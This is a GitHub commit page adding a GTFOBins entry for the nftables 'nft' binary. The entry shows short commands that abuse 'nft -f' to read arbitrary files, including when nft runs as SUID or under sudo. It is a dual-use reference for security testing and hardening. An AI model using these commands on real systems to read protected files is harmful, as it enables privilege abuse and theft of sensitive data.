Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
tomdantuma 2022-09-08 21:19:08 +02:00 committed by GitHub
parent 5071cb555e
commit 055ef78280
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/nft.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files. This requires version `nftables` v0.9.0.
functions:
file-read:
- code: |
LFILE=file_to_read
nft -f "$LFILE"
suid:
- code: |
LFILE=file_to_read
./nft -f "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo nft -f "$LFILE"
---